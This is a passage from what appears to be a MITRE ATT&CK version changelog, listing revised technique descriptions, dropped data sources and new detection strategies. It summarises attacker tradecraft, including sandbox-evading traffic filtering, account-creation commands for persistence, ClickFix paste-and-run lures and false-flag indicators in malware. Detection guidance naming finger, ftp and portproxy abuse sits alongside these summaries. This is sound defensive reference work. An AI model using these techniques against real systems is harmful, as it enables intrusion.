Proxies) Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite) Hiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[T1070] Indicator Removal

Current version: 2.4

Version changed from: 2.3 → 2.4

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0002: User Account (User Account Deletion)
DS0003: Scheduled Job (Scheduled Job Modification)
DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0018: Firewall (Firewall Rule Modification)
DS0022: File (File Deletion)
DS0022: File (File Metadata)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Deletion)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0184: Behavioral Detection of Indicator Removal Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Scheduled Job: Scheduled Job Modification', 'File: File Modification', 'Firewall: Firewall Rule Modification', 'User Account: User Account Authentication', 'File: File Metadata', 'User Account: User Account Deletion', 'Process: OS API Execution', 'Application Log: Application Log Content', 'Command: Command Execution', 'File: File Deletion', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Traffic Content', 'Windows Registry: Windows Registry Key Deletion']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:43.436000+00:00	2025-10-24 17:48:59.237000+00:00
x_mitre_detection	File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.
x_mitre_version	2.3	2.4

[T1105] Ingress Tool Transfer

Current version: 2.6

Version changed from: 2.5 → 2.6

New Mitigations:

M1037: Filter Network Traffic

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0060: Detect Ingress Tool Transfers via Behavioral Chain

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:17.217000+00:00	2025-10-24 17:49:32.714000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows `netsh interface portproxy` modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
x_mitre_version	2.5	2.6

iterable_item_added
STIX Field	Old value	New Value
x_mitre_contributors		Don Le, Stifel Financial

[T1016.001] System Network Configuration Discovery: Internet Connection Discovery

Current version: 1.2

Version changed from: 1.1 → 1.2

	Old Description			New Description
t	1	Adversaries may check for Internet connectivity on compromis	t	1	Adversaries may check for Internet connectivity on compromis
	>	ed systems. This may be performed during automated discovery		>	ed systems. This may be performed during automated discovery
	>	and can be accomplished in numerous ways such as using [Pin		>	and can be accomplished in numerous ways such as using [Pin
	>	g](https://attack.mitre.org/software/S0097), <code>tracert</		>	g](https://attack.mitre.org/software/S0097), <code>tracert</
	>	code>, and GET requests to websites. Adversaries may use th		>	code>, and GET requests to websites, or performing initial s
	>	e results and responses from these requests to determine if		>	peed testing to confirm bandwidth. Adversaries may use the
	>	the system is capable of communicating with their C2 servers		>	results and responses from these requests to determine if th
	>	before attempting to connect to them. The results may also		>	e system is capable of communicating with their C2 servers b
	>	be used to identify routes, redirectors, and proxy servers.		>	efore attempting to connect to them. The results may also be
				>	used to identify routes, redirectors, and proxy servers.

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0357: Behavioral Detection of Internet Connection Discovery

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_contributors		['Christopher Peacock']

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:45:52.631000+00:00	2025-10-24 17:48:26.017000+00:00
description	Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), `tracert`, and GET requests to websites. Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.	Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), `tracert`, and GET requests to websites, or performing initial speed testing to confirm bandwidth. Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.
x_mitre_version	1.1	1.2

[T1136.001] Create Account: Local Account

Current version: 1.5

Version changed from: 1.4 → 1.5

	Old Description			New Description
t	1	Adversaries may create a local account to maintain access to	t	1	Adversaries may create a local account to maintain access to
	>	victim systems. Local accounts are those configured by an o		>	victim systems. Local accounts are those configured by an o
	>	rganization for use by users, remote support, services, or f		>	rganization for use by users, remote support, services, or f
	>	or administration on a single system or service. For examp		>	or administration on a single system or service. For examp
	>	le, with a sufficient level of access, the Windows <code>net		>	le, with a sufficient level of access, the Windows <code>net
	>	user /add</code> command can be used to create a local acco		>	user /add</code> command can be used to create a local acco
	>	unt. In Linux, the `useradd` command can be used, while on		>	unt. In Linux, the `useradd` command can be used, while on
	>	macOS systems, the <code>dscl -create</code> command can be		>	macOS systems, the <code>dscl -create</code> command can be
	>	used. Local accounts may also be added to network devices, o		>	used. Local accounts may also be added to network devices, o
	>	ften via common [Network Device CLI](https://attack.mitre.or		>	ften via common [Network Device CLI](https://attack.mitre.or
	>	g/techniques/T1059/008) commands such as <code>username</cod		>	g/techniques/T1059/008) commands such as <code>username</cod
	>	e>, to ESXi servers via `esxcli system account add`, or to K		>	e>, to ESXi servers via `esxcli system account add`, or to K
	>	ubernetes clusters using the `kubectl` utility.(Citation: ci		>	ubernetes clusters using the `kubectl` utility.(Citation: ci
	>	sco_username_cmd)(Citation: Kubernetes Service Accounts Secu		>	sco_username_cmd)(Citation: Kubernetes Service Accounts Secu
	>	rity) Such accounts may be used to establish secondary cred		>	rity) Adversaries may also create new local accounts on net
	>	entialed access that do not require persistent remote access		>	work firewall management consoles – for example, by exploiti
	>	tools to be deployed on the system.		>	ng a vulnerable firewall management system, threat actors ma
				>	y be able to establish super-admin accounts that could be us
				>	ed to modify firewall rules and gain further access to the n
				>	etwork.(Citation: Cyber Security News) Such accounts may be
				>	used to establish secondary credentialed access that do not
				>	require persistent remote access tools to be deployed on th
				>	e system.

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Creation)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0447: T1136.001 Detection Strategy - Local Account Creation Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:36.237000+00:00	2025-10-24 17:48:51.903000+00:00
description	Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. For example, with a sufficient level of access, the Windows `net user /add` command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the `dscl -create` command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `username`, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security) Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.	Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. For example, with a sufficient level of access, the Windows `net user /add` command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the `dscl -create` command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `username`, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security) Adversaries may also create new local accounts on network firewall management consoles – for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News) Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor for processes and command-line parameters associated with local account creation, such as `net user /add` , `useradd` , and `dscl -create` . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations.
x_mitre_version	1.4	1.5

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Cyber Security News', 'description': 'Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.', 'url': 'https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/'}

[T1204.004] User Execution: Malicious Copy and Paste

Current version: 1.1

Version changed from: 1.0 → 1.1

	Old Description			New Description
t	1	An adversary may rely upon a user copying and pasting code i	t	1	An adversary may rely upon a user copying and pasting code i
	>	n order to gain execution. Users may be subjected to social		>	n order to gain execution. Users may be subjected to social
	>	engineering to get them to copy and paste code directly into		>	engineering to get them to copy and paste code directly into
	>	a [Command and Scripting Interpreter](https://attack.mitre.		>	a [Command and Scripting Interpreter](https://attack.mitre.
	>	org/techniques/T1059). Malicious websites, such as those		>	org/techniques/T1059). One such strategy is "ClickFix," in w
	>	used in [Drive-by Compromise](https://attack.mitre.org/techn		>	hich adversaries present users with seemingly helpful soluti
	>	iques/T1189), may present fake error messages or CAPTCHA pro		>	ons—such as prompts to fix errors or complete CAPTCHAs—that
	>	mpts that instruct users to open a terminal or the Windows R		>	instead instruct the user to copy and paste malicious code.
	>	un Dialog box and execute an arbitrary command. These comman		>	Malicious websites, such as those used in [Drive-by Comprom
	>	ds may be obfuscated using encoding or other techniques to c		>	ise](https://attack.mitre.org/techniques/T1189), may present
	>	onceal malicious intent. Once executed, the adversary will t		>	fake error messages or CAPTCHA prompts that instruct users
	>	ypically be able to establish a foothold on the victim's mac		>	to open a terminal or the Windows Run Dialog box and execute
	>	hine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoi		>	an arbitrary command. These commands may be obfuscated usin
	>	a ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citatio		>	g encoding or other techniques to conceal malicious intent.
	>	n: AhnLab LummaC2 2025) Adversaries may also leverage phish		>	Once executed, the adversary will typically be able to estab
	>	ing emails for this purpose. When a user attempts to open an		>	lish a foothold on the victim's machine.(Citation: CloudSEK
	>	attachment, they may be presented with a fake error and off		>	Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citatio
	>	ered a malicious command to paste as a solution.(Citation: P		>	n: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025)
	>	roofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Pas		>	Adversaries may also leverage phishing emails for this purpo
	>	te 2024) Tricking a user into executing a command themselve		>	se. When a user attempts to open an attachment, they may be
	>	s may help to bypass email filtering, browser sandboxing, or		>	presented with a fake error and offered a malicious command
	>	other mitigations designed to protect users against malicio		>	to paste as a solution, consistent with the "ClickFix" strat
	>	us downloaded files.		>	egy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Ma
				>	licioys Copy Paste 2024) Tricking a user into executing a c
				>	ommand themselves may help to bypass email filtering, browse
				>	r sandboxing, or other mitigations designed to protect users
				>	against malicious downloaded files.

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0340: User Execution – Malicious Copy & Paste (browser/email → shell with obfuscated one-liner) – T1204.004

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-30 17:53:48.667000+00:00	2025-10-05 17:30:01.834000+00:00
description	An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Malicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025) Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024) Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.	An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). One such strategy is "ClickFix," in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code. Malicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025) Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the "ClickFix" strategy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024) Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[T1204.002] User Execution: Malicious File

Current version: 1.6

Version changed from: 1.5 → 1.6

	Old Description			New Description
t	1	An adversary may rely upon a user opening a malicious file i	t	1	An adversary may rely upon a user opening a malicious file i
	>	n order to gain execution. Users may be subjected to social		>	n order to gain execution. Users may be subjected to social
	>	engineering to get them to open a file that will lead to cod		>	engineering to get them to open a file that will lead to cod
	>	e execution. This user action will typically be observed as		>	e execution. This user action will typically be observed as
	>	follow-on behavior from [Spearphishing Attachment](https://a		>	follow-on behavior from [Spearphishing Attachment](https://a
	>	ttack.mitre.org/techniques/T1566/001). Adversaries may use s		>	ttack.mitre.org/techniques/T1566/001). Adversaries may use s
	>	everal types of files that require a user to execute them, i		>	everal types of files that require a user to execute them, i
	>	ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp		>	ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp
	>	l, and .reg. Adversaries may employ various forms of [Masqu		>	l, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10)
	>	erading](https://attack.mitre.org/techniques/T1036) and [Obf		>	Adversaries may employ various forms of [Masquerading](htt
	>	uscated Files or Information](https://attack.mitre.org/techn		>	ps://attack.mitre.org/techniques/T1036) and [Obfuscated File
	>	iques/T1027) to increase the likelihood that a user will ope		>	s or Information](https://attack.mitre.org/techniques/T1027)
	>	n and successfully execute a malicious file. These methods m		>	to increase the likelihood that a user will open and succes
	>	ay include using a familiar naming convention and/or passwor		>	sfully execute a malicious file. These methods may include u
	>	d protecting the file and supplying instructions to a user o		>	sing a familiar naming convention and/or password protecting
	>	n how to open it.(Citation: Password Protected Word Docs)		>	the file and supplying instructions to a user on how to ope
	>	While [Malicious File](https://attack.mitre.org/techniques/T		>	n it.(Citation: Password Protected Word Docs) While [Malic
	>	1204/002) frequently occurs shortly after Initial Access it		>	ious File](https://attack.mitre.org/techniques/T1204/002) fr
	>	may occur at other phases of an intrusion, such as when an a		>	equently occurs shortly after Initial Access it may occur at
	>	dversary places a file in a shared directory or on a user's		>	other phases of an intrusion, such as when an adversary pla
	>	desktop hoping that a user will click on it. This activity m		>	ces a file in a shared directory or on a user's desktop hopi
	>	ay also be seen shortly after [Internal Spearphishing](https		>	ng that a user will click on it. This activity may also be s
	>	://attack.mitre.org/techniques/T1534).		>	een shortly after [Internal Spearphishing](https://attack.mi
				>	tre.org/techniques/T1534).

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0294: User Execution – Malicious File via download/open → spawn chain (T1204.002)

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:13.883000+00:00	2025-10-24 17:48:31.674000+00:00
description	An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg. Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).	An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10) Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).
x_mitre_version	1.5	1.6

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Mandiant Trojanized Windows 10', 'description': 'Mandiant Intelligence. (2022, December 15). Trojanized Windows 10 Operating System Installers Targeted Ukrainian Government. Retrieved September 26, 2025.', 'url': 'https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government'}

[T1587.001] Develop Capabilities: Malware

Current version: 1.3

Version changed from: 1.2 → 1.3

	Old Description			New Description
t	1	Adversaries may develop malware and malware components that	t	1	Adversaries may develop malware and malware components that
	>	can be used during targeting. Building malicious software ca		>	can be used during targeting. Building malicious software ca
	>	n include the development of payloads, droppers, post-compro		>	n include the development of payloads, droppers, post-compro
	>	mise tools, backdoors (including backdoored images), packers		>	mise tools, backdoors (including backdoored images), packers
	>	, C2 protocols, and the creation of infected removable media		>	, C2 protocols, and the creation of infected removable media
	>	. Adversaries may develop malware to support their operation		>	. Adversaries may develop malware to support their operation
	>	s, creating a means for maintaining control of remote machin		>	s, creating a means for maintaining control of remote machin
	>	es, evading defenses, and executing post-compromise behavior		>	es, evading defenses, and executing post-compromise behavior
	>	s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita		>	s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita
	>	tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As		>	tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) Du
	>	with legitimate development efforts, different skill sets m		>	ring malware development, adversaries may intentionally incl
	>	ay be required for developing malware. The skills needed may		>	ude indicators aligned with other known actors in order to m
	>	be located in-house, or may need to be contracted out. Use		>	islead attribution by defenders.(Citation: Olympic Destroyer
	>	of a contractor may be considered an extension of that adver		>	)(Citation: Risky Bulletin Threat actor impersonates FSB APT
	>	sary's malware development capabilities, provided the advers		>	)(Citation: GamaCopy organization) As with legitimate devel
	>	ary plays a role in shaping requirements and maintains a deg		>	opment efforts, different skill sets may be required for dev
	>	ree of exclusivity to the malware. Some aspects of malware		>	eloping malware. The skills needed may be located in-house,
	>	development, such as C2 protocol development, may require ad		>	or may need to be contracted out. Use of a contractor may be
	>	versaries to obtain additional infrastructure. For example,		>	considered an extension of that adversary's malware develop
	>	malware developed that will communicate with Twitter for C2,		>	ment capabilities, provided the adversary plays a role in sh
	>	may require use of [Web Services](https://attack.mitre.org/		>	aping requirements and maintains a degree of exclusivity to
	>	techniques/T1583/006).(Citation: FireEye APT29)		>	the malware. Some aspects of malware development, such as C
				>	2 protocol development, may require adversaries to obtain ad
				>	ditional infrastructure. For example, malware developed that
				>	will communicate with Twitter for C2, may require use of [W
				>	eb Services](https://attack.mitre.org/techniques/T1583/006).
				>	(Citation: FireEye APT29)

Dropped Detections (Data Components -> Technique):

DS0004: Malware Repository (Malware Content)
DS0004: Malware Repository (Malware Metadata)

New Detections (Detection Strategies -> Technique):

DET0872: Detection of Malware

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Malware Repository: Malware Content', 'Malware Repository: Malware Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:47:44.654000+00:00	2025-10-24 17:48:30.776000+00:00
description	Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)	Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) During malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders.(Citation: Olympic Destroyer)(Citation: Risky Bulletin Threat actor impersonates FSB APT)(Citation: GamaCopy organization) As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
x_mitre_version	1.2	1.3

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Risky Bulletin Threat actor impersonates FSB APT', 'description': 'Catalin Cimpanu. (2025, January 22). Risky Bulletin: Threat actor impersonates FSB APT for months to target Russian orgs. Retrieved June 14, 2025.', 'url': 'https://news.risky.biz/risky-bulletin-threat-actor-impersonates-fsb-apt-for-months-to-target-russian-orgs/'}
external_references		{'source_name': 'GamaCopy organization', 'description': 'Knownsec 404 Advanced Threat Intelligence team. (2025, January 21). Love and hate under war: The GamaCopy organization, which imitates the Russian Gamaredon, uses military — related bait to launch attacks on Russia. Retrieved June 14, 2025.', 'url': 'https://medium.com/@knownsec404team/love-and-hate-under-war-the-gamacopy-organization-which-imitates-the-russian-gamaredon-uses-560ba5e633fa'}
external_references		{'source_name': 'Olympic Destroyer', 'description': 'Paul Rascagneres, Martin Lee. (2018, February 26). Who Wasn’t Responsible for Olympic Destroyer?. Retrieved June 14, 2025.', 'url': 'https://blog.talosintelligence.com/who-wasnt-responsible-for-olympic/'}

[T1090.003] Proxy: Multi-hop Proxy

Current version: 2.4

Version changed from: 2.3 → 2.4

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0359: Multi-hop Proxy Behavior via Relay Node Chaining, Onion Routing, and Network Tunneling

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:56.270000+00:00	2025-10-24 17:49:11.774000+00:00
x_mitre_detection	When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique. In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.
x_mitre_version	2.3	2.4

